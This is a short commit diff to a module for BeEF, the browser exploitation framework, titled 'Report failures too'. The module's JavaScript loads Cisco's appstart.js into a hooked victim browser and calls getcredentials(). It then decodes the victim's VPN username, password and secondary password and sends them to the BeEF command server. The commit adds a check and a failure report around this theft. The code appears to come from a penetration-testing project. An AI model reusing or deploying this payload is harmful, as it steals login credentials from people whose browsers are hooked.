Report failures too.
This commit is contained in:
@@ -11,14 +11,19 @@ beef.execute(function() {
|
|||||||
s = document.createElement("script");
|
s = document.createElement("script");
|
||||||
s.src = "/+CSCOE+/appstart.js";
|
s.src = "/+CSCOE+/appstart.js";
|
||||||
document.body.appendChild(s);
|
document.body.appendChild(s);
|
||||||
setTimeout(function () {
|
|
||||||
creds = getcredentials();
|
if (typeof getcredentials === "function") {
|
||||||
var result = [];
|
setTimeout(function () {
|
||||||
result.push({
|
creds = getcredentials();
|
||||||
"username": rot13(hex_2_ascii(creds.split('/')[0].split('=')[1])),
|
var result = [];
|
||||||
"password": rot13(hex_2_ascii(creds.split('/')[1].split('=')[1])),
|
result.push({
|
||||||
"secondary_password": rot13(hex_2_ascii(creds.split('/')[5].split('=')[1]))
|
"username": rot13(hex_2_ascii(creds.split('/')[0].split('=')[1])),
|
||||||
});
|
"password": rot13(hex_2_ascii(creds.split('/')[1].split('=')[1])),
|
||||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=" + JSON.stringify(result));
|
"secondary_password": rot13(hex_2_ascii(creds.split('/')[5].split('=')[1]))
|
||||||
}, 3000);
|
});
|
||||||
|
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=" + JSON.stringify(result));
|
||||||
|
}, 3000);
|
||||||
|
} else {
|
||||||
|
beef.net.send("<%= @command_url %>", <%= @command_id %>, "failed, most likely due to no auth");
|
||||||
|
}
|
||||||
});
|
});
|
||||||
|
|||||||
Reference in New Issue
Block a user